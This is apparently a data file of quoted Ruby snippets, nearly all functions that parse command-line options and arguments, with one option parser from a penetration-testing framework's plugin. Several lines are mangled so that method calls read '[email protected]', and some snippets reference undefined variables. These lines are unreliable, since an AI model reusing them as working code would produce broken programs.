"def parse(args = nil)\n\t\t\t\targs ||= {}\n\t\t\t\t# Create options\n\t\t\t\tnoat = [:bool, :action]\n\t\t\t\tsopts = @options.each_value.collect { |option| [option[:long], option[:short], noat.include?(option[:type]) ? GetoptLong::NO_ARGUMENT : GetoptLong::REQUIRED_ARGUMENT] }\n\n\t\t\t\topts = GetoptLong.new(*sopts)\n\t\t\t\topts.quiet = true\n\n\t\t\t\t# Parse option\n\t\t\t\tbegin\n\t\t\t\t\topts.each do |given, arg|\n\t\t\t\t\t\toptname = @options_map[given]\n\t\t\t\t\t\toption = @options[optname]\n\t\t\t\t\t\tvalue = nil\n\n\t\t\t\t\t\t# VALIDATE ARGUMENT DUE TO CASE\n\t\t\t\t\t\tcase option[:type]\n\t\t\t\t\t\t\twhen :string then\n\t\t\t\t\t\t\t\tvalue = arg\n\t\t\t\t\t\t\twhen :int then\n\t\t\t\t\t\t\t\tif arg.strip =~ /^(-?)(\\d+)$/ then\n\t\t\t\t\t\t\t\t\tvalue = arg.to_i(10)\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\[email protected](msg: \"Argument of option \\\"#{given}\\\" must be an integer.\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :float then\n\t\t\t\t\t\t\t\tif arg.strip =~ /^(-?)(\\d*)(\\.(\\d+))?$/ && arg.strip() != \".\" then\n\t\t\t\t\t\t\t\t\tvalue = arg.to_f\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\[email protected](msg: \"Argument of option \\\"#{given}\\\" must be a float.\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :choice then\n\t\t\t\t\t\t\t\tif @options[optname].choices.find_index { |choice| arg =~ choice } then\n\t\t\t\t\t\t\t\t\tvalue = arg\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\[email protected](msg: \"Invalid argument (invalid choice) for option \\\"#{given}\\\".\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :list then\n\t\t\t\t\t\t\t\tvalue = arg.split(\",\")\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tvalue = true\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t@options[optname][:value] = value\n\t\t\t\t\tend\n\t\t\t\trescue StandardError => exception\n\t\t\t\t\tif exception.message =~ /.+-- (.+)$/ then\n\t\t\t\t\t\tgiven = $1\n\n\t\t\t\t\t\tif exception.is_a?(GetoptLong::InvalidOption) then\n\t\t\t\t\t\t\[email protected](msg: \"Unknown option \\\"#{given}\\\".\", dots: false) if !args[:ignore_unknown]\n\t\t\t\t\t\telsif exception.is_a?(GetoptLong::MissingArgument) then\n\t\t\t\t\t\t\[email protected](msg: \"Option \\\"-#{given}\\\" requires an argument.\", dots: false)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected](\"Unexpected error: #{exc.message}.\")\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# SET OTHER ARGUMENTS\n\t\t\t\t@args = ARGV\n\n\t\t\t\t# CHECK IF HELP WAS REQUESTED\n\t\t\t\tif self.provided?(\"help\") && !args[:ignore_help] then\n\t\t\t\t\tself.print_help\n\t\t\t\t\texit(0)\n\t\t\t\tend\n\n\t\t\t\t# NOW CHECK IF SOME REQUIRED OPTION WAS NOT SPECIFIED OR IF WE HAVE TO EXECUTE AN ACTION\n\t\t\t\t@inserted[:name].each do |key|\n\t\t\t\t\toption = @options[key]\n\n\t\t\t\t\tif option[:required] == true && option[:value] == nil then\n\t\t\t\t\t\[email protected](msg: \"Required option \\\"#{option[:name]}\\\" not specified.\", dots: false)\n\t\t\t\t\telsif option[:value] == true && option[:type] == :action then\n\t\t\t\t\t\toption.action.call\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def parse_opt(args)\n valid_opts = %w{--version -v --install -i --help -h\n --complete -c --bookmark -b --search -s}\n\n nextarg = args.shift\n errormsg = 'Error: '.red + \"unrecognized option #{nextarg}\"\n pexit errormsg, 1 if ! (valid_opts.include? nextarg)\n\n # forced bookmarking\n if nextarg == '--bookmark' || nextarg == '-b'\n if args.first.nil?\n pexit 'Error: '.red + 'booker --bookmark expects bookmark id', 1\n else\n open_bookmark args\n end\n end\n\n # autocompletion\n if nextarg == '--complete' || nextarg == '-c'\n allargs = args.join(' ')\n bm = Bookmarks.new(allargs)\n bm.autocomplete\n end\n\n # installation\n if nextarg == '--install' || nextarg == '-i'\n if !args.empty?\n install(args)\n else # do everything\n install(%w{completion config bookmarks})\n end\n end\n\n # forced searching\n if nextarg == '--search' || nextarg == '-s'\n pexit '--search requires an argument', 1 if args.empty?\n allargs = args.join(' ')\n open_search allargs\n end\n\n # print version information\n version if nextarg == '--version' || nextarg == '-v'\n\n # needs some help\n helper if nextarg == '--help' || nextarg == '-h'\n\n exit 0 # dont parse_arg\n end",
"def parse_options()\n\n options = {}\n\n ARGV.each_index do |index|\n case $*[index]\n when '-m' then options[:auto_connect] = false\n when '-v' then options[:verbose] = true\n when '-q' then options[:verbose] = false\n when '-t' then options[:log_truncate] = true\n when '-r' then options[:log_response] = false\n else\n ::Twiga.say_warn \"unknown option: #{arg}\"\n end # case\n\n $*.delete_at(index) # remove from command line\n\n end # do each cmd line arg\n \n return Kinokero::Cloudprint::DEFAULT_OPTIONS.merge(options)\n\n end",
"def parse_options!(args)\n option_parser.parse!(args)\n\n if args.empty?\n abort(\"You must give exactly one command to execute.\")\n else\n @options.command = args.join(\" \")\n end\n end",
"def parse_opts\n if parse_argv\n apply_options\n true\n end\n end",
"def parse_yardopts_options(*args)\n opts = OptionParser.new\n opts.base.long.clear # HACK: why are --help and --version defined?\n yardopts_options(opts)\n begin\n opts.parse(args)\n rescue OptionParser::ParseError => err\n idx = args.index(err.args.first)\n args = args[(idx + 1)..-1]\n args.shift while args.first && args.first[0, 1] != '-'\n retry\n end\n end",
"def parse_options=(_arg0); end",
"def parse_options=(_arg0); end",
"def parseOption()\n\toptions = {:dryrun => false, :auto => false, :debug => false, :worldcat => true, :rename => false}\n\tOptionParser.new do |opts|\n\t\topts.banner = \"shelfer.rb [options]\"\n\t\topts.version = \"0.1\"\n\n\t\topts.on(\"-fFILE\", \"File to shelf\") { |f| options[:file] = f }\n\t\topts.on(\"-n\", \"Dry-run\") { |n| options[:dryrun] = true }\n\t\topts.on(\"-a\", \"Auto\") { |n| options[:auto] = true }\n\t\topts.on(\"-d\", \"Debug\") { |n| options[:debug] = true }\n opts.on(\"-r\", \"--rename-only\", \"Rename only, no shelfing\") { |n| options[:rename] = true }\n\t\topts.on(\"-w\", \"--noworldcat\", \"Do not use WorldCat\") { |n| options[:worldcat] = false }\n\tend.parse!\n\toptions[:input] = ARGV\n\treturn options\nend",
"def _analyze(arg)\n is_long = false\n is_short = false\n name = nil\n\n if arg[0..1] == '--'\n is_long = true\n name = arg[2..-1]\n elsif arg[0] == '-'\n is_short = true\n name = arg[1..-1]\n end\n\n # arg is not a long/short option, add to arguments values\n unless is_long || is_short\n @argument_values.push arg\n return true\n end\n\n unless name.nil?\n # get the name of the option, short options use the first character\n option_name = if is_short\n name[0]\n else\n name\n end\n\n option, matched = @options.get_with_alias option_name\n\n # no option by this name in options\n return nil if option.nil?\n\n # see if the type if right, short or long\n if matched.is_long && !is_long\n return nil\n elsif matched.is_short && !is_short\n return nil\n end\n\n if is_long\n if option.is_value\n # is_value needs a next argument for its value\n return nil if _peek_next.nil?\n\n @matched_options[option.name] = _peek_next\n _skip_next\n else\n option_value! option\n end\n end\n\n if is_short\n if name.size == 1 && option.is_value\n # is_value needs a next argument for its value\n return nil if _peek_next.nil?\n\n @matched_options[option.name] = _peek_next\n _skip_next\n else\n # for every character (short option) increment the option value\n name.split('').each do |n|\n short_option = @options.get n\n return nil if short_option.nil?\n\n option_value! short_option\n end\n end\n end\n end\n\n true\n end",
"def test_parse02b\n options = ArgumentManager.parse( [ '--s-opt' ] )\n assert_equal( 'foo', options[ 's-opt' ] )\n end",
"def args_of(opt)\n args_of_opt = []\n\n # Return an array of the arguments between opt and the next option,\n # which all start with \"-\"\n @@args.slice(@@args.index(opt)+1, @@args.length).select do |arg|\n if arg[0].chr != \"-\"\n args_of_opt << arg\n else\n break\n end\n end\n args_of_opt\n end",
"def parse_string_argument(key)\n if @opts[key].nil? and [email protected]\n @opts[key] = s.dup \n end\n end",
"def process_arguments(k, input) #:nodoc:\n if (opt = @dict[k])\n key = opt.key\n case opt.option_type\n when :boolean \n @options[key] = (k != \"no-#{key}\")\n when :increment\n @options[key] ||= 0\n @options[key] += 1\n when :optional_argument, :required_argument\n args = []\n loop do \n break if (input.empty?)\n arg = input.shift\n\n is_arg = case arg\n # If it matches a long argument name, it isn't an argument\n when '--'\n false\n when /^--(\\S+)/\n o, a = $1.split('=', 2)\n [email protected]_key?(o)\n # If this is a valid shorthand option string, abort\n when /^-(\\S+)/\n o, a = $1.split('=', 2)\n !o.scan(/./).all? { |c| @dict.has_key?(c) }\n else \n true\n end\n\n # We've hit another option, get outta here\n #if (arg =~ /^-/)\n unless (is_arg)\n input.unshift(arg) \n break\n end\n args << arg\n # If this is a scalar type, stop after the first argument\n break if opt.container_type == :scalar\n end\n\n if (args.empty?) \n # No argument found, and one was required, complain about it\n if (opt.option_type == :required_argument) \n raise ParseError.new(\"missing required argument for '#{key}'\")\n # No argument found, but it was optional, set a default value\n else \n case opt.container_type\n when :scalar; @options[key] = nil\n when :array; @options[key] = []\n end\n end\n else\n args.each do |arg|\n val = case opt.argument_type\n when :float \n # Try to parse float option, toss an exception if the parse failed\n Float(arg) rescue \n raise ParseError.new(\"expecting float value for option '#{key}'\") \n when :integer \n # Try to parse integer option, toss an exception if the parse failed\n Integer(arg) rescue \n raise ParseError.new(\"expecting integer value for option '#{key}'\") \n else\n # Assume string type (no processing needed)\n arg\n end\n # Either set the option value (scalar) or add it to the list (array)\n case opt.container_type\n when :scalar; @options[key] = val\n when :array; (@options[key] ||= []) << val\n end\n end\n end\n end\n else\n # If an exact match isn't found, try to make a suggestion\n candidates = @dict.keys.select do |c|\n (!@dict[c].is_abbreviated? && c =~ /^#{k}/)\n end\n matches = case candidates.size\n when 0\n nil\n when 1\n \", did you mean #{candidates.first}?\"\n else\n \", close matches are: \" +\n candidates[0, candidates.size - 1].join(\", \") +\n \" and \" + candidates.last\n end\n raise ParseError.new(\"unknown option '#{k}'#{matches || ''}\")\n end\n\n input\n end",
"def extract_options!(*options)\n parser = Cmd::OptionParser.new(@args)\n parsed_options = parser.parse!(*options)\n @args = parser.args\n parsed_options\n end",
"def extract_options!\n option_parser.order!(args)\n end",
"def parse_argv(argv, &block)\n return parse_posix_argv(argv, &block) if @posix\n\n @not_parsed = []\n tagged = []\n argv.each_with_index { |e,i|\n if \"--\" == e\n @not_parsed = argv[(i+1)..(argv.size+1)]\n break\n elsif \"-\" == e\n tagged << [:arg, e] \n elsif ?- == e[0] \n m = Option::GENERAL_OPT_EQ_ARG_RE.match(e)\n if m.nil?\n tagged << [:opt, e] \n else\n tagged << [:opt, m[1]]\n tagged << [:arg, m[2]]\n end\n else\n tagged << [:arg, e]\n end\n }\n\n #\n # The tagged array has the form:\n # [\n # [:opt, \"-a\"], [:arg, \"filea\"], \n # [:opt, \"-b\"], [:arg, \"fileb\"], \n # #[:not_parsed, [\"-z\", \"-y\", \"file\", \"file2\", \"-a\", \"-b\"]]\n # ]\n\n #\n # Now, combine any adjacent args such that\n # [[:arg, \"arg1\"], [:arg, \"arg2\"]]\n # becomes\n # [[:args, [\"arg1\", \"arg2\"]]]\n # and the final result should be\n # [ \"--file\", [\"arg1\", \"arg2\"]]\n #\n\n parsed = []\n @args = []\n tagged.each { |e|\n if :opt == e[0]\n parsed << [e[1], []]\n elsif :arg == e[0]\n if Array === parsed[-1] \n parsed[-1][-1] += [e[1]]\n else\n @args << e[1]\n end\n else\n raise \"How did we get here?\"\n end\n }\n parsed.each { |e| block.call(e) }\n end",
"def initialize(option_specs, input = ARGV)\n build_dict(option_specs)\n\n @options = {}\n leftover = []\n until input.empty?\n arg = input.shift\n\n case arg\n # Stop if you hit --\n when '--' \n break \n\n # Long form \n when /^--(\\S+)/\n o, a = $1.split('=', 2)\n input.unshift(a) if a\n input = process_arguments(o, input) \n\n # Short form\n when /^-(\\S+)/\n o, a = $1.split('=', 2)\n input.unshift(a) if a\n o.scan(/./) do |c|\n input = process_arguments(c, input)\n end\n\n # Not an option, leave it\n else\n leftover << arg\n end\n end \n\n # Put what didn't parse back into input\n input.concat(leftover)\n end",
"def parse_command_line_options!(args)\n OptionParser.new do |opts|\n opts.on('-h', '--help', 'Display this screen') do\n raise UsageError.new(opts)\n end\n end.parse!(args)\n return {}, args\n end",
"def initialize argv\n @argv = argv.dup\n @options = {}\n while @argv[0] =~ /^-/\n option, value = @argv.shift.split(/[=:]/, 2)\n csv = (value =~ /,/ ? value.split(',') : Array(value))\n modes = csv.inject({}){|h,s| k, v = s.split(/=/, 2); h[k] = v || true; h }\n @options[option.sub(/^-*/,'')] = modes\n end\n end",
"def parse_args(argv)\n @args ||= nil\n raise \"#{class_name}.initialize failed to call super!\" unless\n args.is_a?(Hash)\n\n #\n # if this CLI has boolean arguments which can immediately\n # precede the non-option arguments (ie those arguments which\n # don't begin with '--'), those booleans need to be declared.\n # otherwise when parsing the boolean argument, we'll mistake\n # the boolean as an option with a value:\n #\n # foo.rb --boolean firstnonoption\n #\n # becomes args = {:boolean => 'firstnonoption'}.\n #\n booleans = {}\n booleans = Hash[*(boolean_args.map { |a| [a,1] }.flatten)] if\n self.respond_to? :boolean_args\n\n skipped = []\n while argv.length > 0 do\n unless argv[0] =~ /^--?/\n skipped.push argv.shift\n\n else\n # shift the argument name out of argv\n argname = argv.shift.sub(/^--?/, '').downcase\n raise ArgumentError, \"expected: --ARGNAME; got: '#{argname.inspect}'\" unless\n argname.is_str?\n\n # strip trailing '-' then convert remaining '-' to '_'\n argsym = argname.sub(/-+$/, '').gsub(/-+/, '_').to_sym\n\n if booleans[argsym] or (argv.length < 1) or (argv[0] =~ /^--?/)\n # a boolean argument whose value is false when the argument ends with '-'\n args[argsym] = (argname =~ /-$/) ? false : true\n else\n # named argument\n args[argsym] = argv.shift\n end\n end\n end\n\n self.argv = skipped || []\n\n usage if args[:help] or args[:usage]\n end",
"def parse(args)\r\n full_args_str = args.to_s\r\n args_list = _trim_end_caps(full_args_str)\r\n args_arr = []\r\n\r\n loop do\r\n match = false\r\n ARGUMENT_REGEXP.match(args_list) do |match_context|\r\n match = true\r\n args_arr << _unescape_arg(match_context[:first_arg])\r\n if match_context[:other_args]\r\n args_list = match_context[:other_args]\r\n else\r\n return args_arr\r\n end\r\n end\r\n\r\n fail unless match\r\n end\r\n end",
"def parse_args(args)\n opts = {}\n args.each do |(k, v)|\n if v.index('name=') == 0\n parts = v.split('=')\n opts[:names] ||= []\n opts[:names] << parts.last\n elsif v.include?('=')\n parts = v.split('=')\n opts[parts.first.to_sym] = parts.last\n elsif k != :suite\n opts[v.to_sym] = true\n end\n end\n opts\n end",
"def parse_command\n log_and_exit read_template('help') if @input.empty?\n @command = @input.shift\n \n while @input.any?\n opt = @input.shift\n \n if opt =~ /^--(\\w+)(=(\"[^\"]+\"|[\\w]+))*/\n name = $1\n value = $3 ? $3.gsub(/\"/, \"\") : true\n @named_options[name] = value\n else\n @options << opt\n end\n end\n end",
"def parse_args_string(hash, arg_str)\n optional = false\n cancelled_optional = false\n\n arg_str.split(' ').zip(hash).map do |arg, opts|\n opts ||= {}\n\n if cancelled_optional\n optional = false\n cancelled_optional = false\n end\n\n cancelled_optional = true if arg[-1..-1] == ']'\n\n if arg[0..0] == '['\n optional = true\n elsif arg[0..0] != '<'\n raise InvalidArgumentStringError.new(opts[:arg])\n end\n\n opts[:infinite] = true if arg =~ /\\.\\.\\.\\]?$/\n\n {:name => clean(arg), :optional => optional}.merge(opts)\n end\n end",
"def optparse_args\n if short\n [\"--#{name}\", \"-#{short}\", desc, :REQUIRED]\n else\n [\"--#{name}\", desc, :REQUIRED]\n end\n end",
"def parse_yardopts_options(*args); end",
"def get_opts_sessions(args)\n opts = Rex::Parser::Arguments.new(\n \"-s\" => [ true, \"Sessions to run modules against. Example <all> or <1,2,3,4>\"],\n \"-h\" => [ false, \"Command Help\"]\n )\n error = \"help\"\n sessions = \"\"\n\n if args.length == 0\n print_line(opts.usage)\n return error\n end\n\n opts.parse(args) do |opt, idx, val|\n case opt\n when \"-s\"\n sessions = val\n when \"-h\"\n print_line(opts.usage)\n return error\n else\n print_line(opts.usage)\n return error\n end\n end\n return sessions\n end",
"def parse\n @opts = OptionParser.new { |opts| process_opts(opts) }\n @opts.parse!(@args)\n\n process_args\n\n @options\n end",
"def options?(*args)\r\n val = false\r\n options.each do |key, value|\r\n next unless args.include?(key.to_sym)\r\n val = options[key].nil? ? true : options[key]\r\n break\r\n end\r\n val\r\n end",
"def parse_cmd_opts!\n @to_a=nil\n# puts \"@cmd_opts = #{@cmd_opts.inspect}\"\n\n if x = cmd_opts[:_]\n cmd_opts.delete(:_)\n @select_constraint = x\n end\n\n if x = cmd_opts[:T]\n @select_top_level = true\n @select_available = false\n @select_required = false\n end\n\n if x = cmd_opts[:A]\n @select_available = x\n @select_required = false\n @select_top_level = false\n end\n\n if x = cmd_opts[:R]\n @select_required = x\n @select_available = false\n @select_top_level = false\n end\n\n if x = cmd_opts[:D]\n @select_dependencies = x\n end\n\n self\n end",
"def parse!(argv=ARGV)\n argv = Shellwords.shellwords(argv) if argv.kind_of?(String)\n\n registry.each do |option|\n if assign_defaults && option.respond_to?(:assign_default)\n option.assign_default(config)\n end\n end\n\n args = []\n while !argv.empty?\n arg = argv.shift\n\n # add the remaining args and break\n # for the option break\n if option_break === arg\n argv.unshift(arg) if preserve_option_break\n break\n end\n\n # determine if the arg is an option\n unless option?(arg)\n args << arg\n next\n end\n\n flag, value = arg, nil\n\n # try the flag directly\n unless option = @options[flag]\n\n # then try --opt=value syntax\n flag, value = flag.split('=', 2)\n\n # then try -ovalue syntax\n if value.nil? && flag[1] != ?-\n flag, value = flag[0, 2], flag[2, flag.length - 2]\n end\n\n unless option = @options[flag]\n raise \"unknown option: #{flag}\"\n end\n end\n\n option.parse(flag, value, argv, config)\n end\n\n args.concat(argv)\n argv.replace(args)\n\n block_given? ? yield(argv, config) : argv\n end",
"def parse_smashed(arg)\n opts = {}\n # preceding dash and flag have been removed\n val = arg.dup\n loop {\n break if val.empty?\n char = val.slice!(0, 1)\n sym = @index[:short][char]\n raise \"unknown flag smashed in: #{char} in #{arg}\" unless sym\n\n spec = @option_specs.fetch(sym)\n if spec[:value]\n val.slice!(0, 1) if val[0] == '='\n if val.empty?\n opts[sym] = nil # tell parse() we need another arg; ugh, hack!\n else\n opts[sym] = val\n end\n break # a value always ends the smash\n else\n opts[sym] = true\n end\n }\n opts\n end",
"def parse_initial_options argv\n parse_args argv do |argv, remaining_args, arg|\n argv.unshift arg\n :break\n end\n end",
"def parse arguments\n begin\n @option_parser.parse! arguments\n rescue StandardError => e\n puts @option_parser\n puts\n puts e.message\n exit(-1)\n end\n\n @options\n end",
"def parse_args(line)\n match = @pattern.match(line)\n return {} if match.nil?\n\n args = match.to_a.drop(1)\n\n # If the syntax has no arguments, it should parse its command name as arg1\n return { arg1: match.to_a.first } if args.empty?\n\n Hash[*[:arg1, :arg2].zip(args).flatten]\n end",
"def parse_opts\n\tif ARGV.empty? then puts \"Usage: ch_find.rb [options] <search_term> <replacement>\\n\"; exit end\n\tOptionParser.new do |opts|\n\t\topts.banner = \"\\nOptions:\"\n\t\topts.on(\"-v\", \"--version\", \"Display the version\") {output_version}\n\t\topts.on(\"-h\", \"--help\", \"Display the help\") {output_help opts}\n\t\topts.on(\"-n\", \"--names\", \"Grep file names only, not contents\") {Opts['names'] = true}\n\t\topts.on(\"-f\", \"--file [FILE]\", \"Act only on a specific file\") {|file| Opts['file'] = file}\n\t\topts.on(\"-e\", \"--exclude [EXTENSIONS]\", \"Exclude specific files types\") {|extensions| Opts['exclude'] = extensions.gsub('.','').gsub(',',' ').split(/\\s/)}\n\t\topts.on(\"-i\", \"--include [EXTENSIONS]\", \"Include specific file types only\") {|extensions| Opts['include'] = extensions.gsub('.','').gsub(',',' ').split(/\\s/)}\n\t\topts.on(\"-r\", \"--replace\", \"Replace param1 with param2\") {Opts['replace'] = true}\n\t\topts.on(\"-d\", \"--dry-run\", \"Print replacements but do not write to disk\") {Opts['dry_run'] = true}\n\tend.parse!\nend",
"def parse\n # The options specified on the command line will be collected in *options*.\n # We set default values here.\n OptionParser.new { |options| parse_options options}.parse!(@args)\n @options\n end",
"def parse(args)\n optparser = new_option_parser\n optparser.parse!(args)\n abort_missing_options(optparser)\n @options\n end",
"def parse_options(str)\n options = {}\n items = str.split(/-/)\n \n # The first option is always the name of the icon.\n options[:name] = items.shift()\n while items.length > 0 && items.first.index(/^[a-z]+$/) && !is_color?(items.first)\n options[:name] = \"#{options[:name]}-#{items.shift()}\"\n end\n options[:name].gsub!(/_/, '-')\n \n # The second option is the index if it is a single integer.\n if !items.first.nil? && !items.first.index(/^\\d$/).nil?\n options[:index] = items.shift().to_i\n else\n options[:index] = 0\n end\n \n # The remaining options are determined by format.\n items.each do |item|\n # Color: 3 digit hexidecimal number (e.g. fff).\n if item.index(/^[0-9a-f]{3}$/i)\n options[:color] = item.downcase.chars.map {|x| x*2}.join('')\n\n # Color: 6 digit hexidecimal number (e.g. ffffff).\n elsif item.index(/^[0-9a-f]{6}$/i)\n options[:color] = item.downcase\n \n # Size: Two number joined by an 'x'\n elsif item.index(/^\\d+x\\d+$/)\n width, height = item.split('x').map {|x| x.to_i}\n options[:width] = width\n options[:height] = height\n end\n end\n \n # Return options\n return options\n end",
"def parse_options(opts=nil)\n # make sure optparse doesn't use POSIXLY_CORRECT parsing\n ENV[\"POSIXLY_CORRECT\"] = nil\n\n # Creating a shallow copy of the arguments so the OptionParser\n # doesn't destroy the originals.\n argv = @argv.dup\n\n # Default opts to a blank optionparser if none is given\n opts ||= OptionParser.new\n\n # Add the help option, which must be on every command.\n opts.on_tail(\"-h\", \"--help\", \"Print this help\") do\n safe_puts(opts.help)\n return nil\n end\n\n opts.parse!(argv)\n return argv\n rescue OptionParser::InvalidOption, OptionParser::MissingArgument\n raise Errors::CLIInvalidOptions, help: opts.help.chomp\n end",
"def parse_args(str)\n return str.split(/\\s+:(.*)|\\s+/)\n end",
"def parse_options\n options = {}\n case ARGV[1]\n when '-e'\n options[:e] = ARGV[2]\n when '-d'\n options[:d] = ARGV[2]\n end\n options\nend",
"def parse argument_string, schema=[]\n arg_list = argument_string.split(@options[:delimiter])\n schema ? Hash[*schema.zip(arg_list).flatten] : arg_list\n end",
"def matches_options?(type, regexp)\n case type\n when :option_name then options.any? { |n, _| regexp =~ n }\n when :option_value then options.any? { |_, v| regexp =~ v }\n when :command_name then regexp =~ options[:command]\n end\n end",
"def extract_options(*args)\n args = args.dup\n index = args.rindex { |e| e.is_a?(Hash) } || args.length\n args[-1] = args[index] || {}\n args[index] = nil if index < args.length - 1\n args\n end",
"def parse(args)\n @options = Options.new\n @args = OptionParser.new do |parser|\n @options.define_options(parser)\n begin\n parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n puts e.message\n exit\n end\n end\n @options\n rescue OptionParser::MissingArgument => e\n puts e.message\n exit\n end",
"def test_parse02a\n options = ArgumentManager.parse( [] )\n assert_equal( nil, options[ 's-opt' ] )\n end",
"def accept_args(args)\n while /^-+(.+)/ === args[0]\n option = args.shift\n option_method_name = \"option_#{$1}\"\n unless respond_to?(option_method_name)\n raise UsageException, \"Unrecognised option: #{option}\"\n end\n option_method = method(option_method_name)\n parameters = []\n option_method.arity.times { parameters << args.shift }\n option_method.call(*parameters)\n end\n @targets = args\n self\n end",
"def scan_options(p, data, ts, te)\n text = text(data, ts, te).first\n\n options_char, options_length = true, 0\n\n # Copy while we have option characters. There is no maximum length,\n # as ruby allows things like '(?xxxxxxxxx-xxxxxxxxxxxxx:abc)'.\n negative_options = false\n while options_char\n if data[te + options_length]\n c = data[te + options_length].chr\n\n if c =~ /[-mixdau]/\n negative_options = true if c == '-'\n\n raise InvalidGroupOption.new(c, text) if negative_options and\n c =~ /[dau]/\n\n text << c ; p += 1 ; options_length += 1\n else\n options_char = false\n end\n else\n raise PrematureEndError.new(\"expression options `#{text}'\")\n end\n end\n\n if data[te + options_length]\n c = data[te + options_length].chr\n\n if c == ':'\n # Include the ':' in the options text\n text << c ; p += 1 ; options_length += 1\n emit_options(text, ts, te + options_length)\n\n elsif c == ')'\n # Don't include the closing ')', let group_close handle it.\n emit_options(text, ts, te + options_length)\n\n else\n # Plain Regexp reports this as 'undefined group option'\n raise ScannerError.new(\n \"Unexpected `#{c}' in options sequence, ':' or ')' expected\")\n end\n else\n raise PrematureEndError.new(\"expression options `#{text}'\")\n end\n\n p # return the new value of the data pointer\n end",
"def preprocess_arguments_for_commands(args)\n # All arguments should be passed through to the atlantis command.\n if args.first == \"atlantis\"\n return args.slice!(1..-1)\n end\n if args.first == \"ssh\"\n arg_index = 1\n arg_index += 1 if Component.names.include?(args[1]) # Skip <component>, if it exists\n while arg_index < args.length\n break if args[arg_index][0] != \"-\"\n arg_index += 1 if args[arg_index] == \"-i\"\n arg_index += 1\n end\n return [] unless arg_index < args.length\n puts \"slicing #{arg_index.inspect}\"\n return args.slice!(arg_index..-1)\n end\n []\nend",
"def parse(argv=ARGV)\n argv = Array(argv)\n\n while @parse and entry = argv.shift\n # collect everything that is not an option\n if entry[0] != ?-\n @on_extra[entry]\n next\n end\n\n # this is a long option\n if entry[1] == ?-\n opt, arg = entry.split \"=\"\n process argv, entry, opt, arg\n next\n end\n\n # disambiguate short option group from short option with argument\n opt, arg, rest = split entry, 2\n\n # process first option\n option = process argv, entry, opt, arg\n next unless option and not option.arg?\n\n # process the rest of the options\n while rest.size > 0\n opt, arg, rest = split rest, 1\n opt = \"-\" + opt\n option = process argv, opt, opt, arg\n break if option.arg?\n end\n end\n\n @extra\n rescue ParseError => e\n puts self\n puts e\n exit 1\n end",
"def parseOptions\n opts = GetoptLong.new(\n [ '--test', '-t', GetoptLong::NO_ARGUMENT ],\n [ '--help', '-h', GetoptLong::NO_ARGUMENT ],\n [ '--execute', '-e', GetoptLong::NO_ARGUMENT ]\n )\n \n options = Hash.new\n \n opts.each do | optionName, argument |\n options[optionName.gsub('--', '')] = true\n end\n\n options['test'] = options['test'] || false\n options['execute'] = options['execute'] || false\n options['help'] = options['help'] || false\n\n return options\n end",
"def check_args_for(check_opts)\n check_opts.each_with_object([]) do |(k, v), arr|\n arr << (k.length == 1 ? \"-#{k}\" : \"--#{k.to_s.tr('_', '-')}\")\n arr << v.to_s unless v.nil?\n end\n end",
"def parse_options(opt_string)\n options = []\n string_delimiter = word = \"\"\n in_regexp = in_string = false\n\n opt_string.each_char do |c|\n if !(in_string || in_regexp) && (c == '\"' || c == '\\'')\n in_string = true\n string_delimiter = c\n elsif in_string && c == string_delimiter\n in_string = false\n elsif !(in_regexp || in_string) && c == '/'\n word << c\n in_regexp = true\n elsif in_regexp && c == '/'\n word << c\n in_regexp = false\n elsif c =~ /\\s/ && !in_string && !in_regexp\n options << word unless word.chomp == ''\n word = \"\"\n else\n word << c\n end\n end\n\n # Add the last argument\n if in_string\n raise \"Unterminated string!\"\n else\n options << word\n end\n\n options\nend",
"def parse_args\n args_map = {:main => $0}\n ARGV.each { |arg|\n sep = arg.index('=')\n\n key = arg[0..sep-1].to_sym\n val = arg[sep+1..-1]\n\n if val == 'true'\n val = true\n end\n if val == 'false'\n val = false\n end\n args_map[key] = val\n }\n return args_map\n end",
"def process_r2doc_args(args, overrides)\n processed = []\n local_options = {}\n \n # add the overrides first\n overrides.each do |o|\n processed.push \"--#{o[0]}\"\n processed.push o[2]\n end\n \n while args.length > 0 do\n thisOpt = args.shift\n thisParam = nil\n if thisOpt =~ /^-/\n # -- signals the end of options\n if thisOpt == '--'\n processed.push thisOpt\n processed.concat(args) if args.length > 0\n return processed, local_options\n end\n \n # this is an option, see if we have an argument\n if longMatch = /^--([^=]+)=(.*)/.match(thisOpt)\n if longMatch[1] == 'rdoc-version'\n local_options['rdoc-version'] = longMatch[2]\n else\n # don't pass overrides through\n processed.push thisOpt unless overrides.find{|o| o[0] == longMatch[1]}\n end\n elsif longMatch = /^--(.*)/.match(thisOpt)\n # special case for help, gems, and rdoc-version options\n if longMatch[1] == 'help'\n help_message\n processed.push thisOpt\n elsif longMatch[1] == 'gems'\n local_options['gems'] = args\n return processed, local_options\n elsif longMatch[1] == 'rdoc-version'\n local_options['rdoc-version'] = args.shift\n else\n # an argument could follow as the next item\n thisParam = args.shift unless args.first =~ /^-/\n unless overrides.find{|o| o[0] == longMatch[1]}\n processed.push thisOpt\n processed.push thisParam unless thisParam.nil?\n end\n end\n else\n # short option\n flag = thisOpt.slice(1, thisOpt.length - 1)\n if flag == 'h' || flag == '?'\n help_message\n processed.push thisOpt\n else\n thisParam = args.shift unless args.first =~ /^-/\n unless overrides.find{|o| o[1] == flag}\n processed.push thisOpt\n processed.push thisParam unless thisParam.nil?\n end\n end\n end\n else\n # not an option, so processing stops\n processed.push thisOpt\n processed.concat(args) if args.length > 0\n return processed, local_options\n end\n end\n \n return processed, local_options\nend",
"def parse_options\n case ARGV[1]\n when \"-p\", \"-plugin\"\n return true\n when \"-u\", \"-unplug\"\n return true\n else\n return false\n end\nend",
